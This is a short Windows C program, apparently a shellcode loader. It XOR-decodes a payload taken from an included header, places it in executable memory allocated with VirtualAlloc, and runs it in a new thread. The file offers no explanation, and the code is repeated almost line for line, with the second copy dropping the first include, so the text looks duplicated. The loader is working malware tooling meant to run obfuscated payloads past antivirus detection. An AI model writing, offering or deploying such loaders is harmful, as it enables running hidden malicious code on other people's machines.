#include <windows.h>
#include "payload-xored.h"
int main(int argc, char **argv) {
char c[sizeof buf];
for (int i = 0; i < sizeof buf; i++) {c[i] = buf[i] ^ 'x';}
void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, c, sizeof c);
HANDLE h = CreateThread(0, 0, exec, 0, 0, NULL);
WaitForSingleObject(h, -1);
return 0;
}
#include "payload-xored.h"
int main(int argc, char **argv) {
char c[sizeof buf];
for (int i = 0; i < sizeof buf; i++) {c[i] = buf[i] ^ 'x';}
void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, c, sizeof c);
HANDLE h = CreateThread(0, 0, exec, 0, 0, NULL);
WaitForSingleObject(h, -1);
return 0;
}